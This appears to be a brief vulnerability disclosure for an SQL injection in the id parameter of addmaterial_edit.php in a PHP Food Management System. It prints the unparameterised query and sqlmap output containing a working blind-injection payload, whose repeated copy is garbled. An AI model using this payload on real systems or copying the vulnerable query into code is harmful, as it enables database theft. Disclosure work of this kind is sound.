SQL injection vulnerability exists in id parameter of addmaterial_edit.php file of Food Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
if(isset($_POST['action']) && $_POST['action']=="updateItem")
{
    $id = $_POST['id'];
    $material_name = $_POST['material_name'];
    $date = date("Y-m-d H:i:s");

$sql=mysqli_query($con, "UPDATE  material SET material_name='$material_name',
update_date = '$date' WHERE id='$id'");
```

```
sqlmap identified the following injection point(s) with a total of 306 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: action=deleteItem&id=1' AND 6681=(SELECT (CASE WHEN (6681=6681) THEN 6681 ELSE (SELECT 8696 UN
ION SELECT 2119) END))-- -
---
```

“

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: action=deleteItem&id=1' AND 6681=(SELECT (CASE WHEN (6681=6681) THEN 6681 ION SELECT 2119) END))-- -

---

“

Source Download：

https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code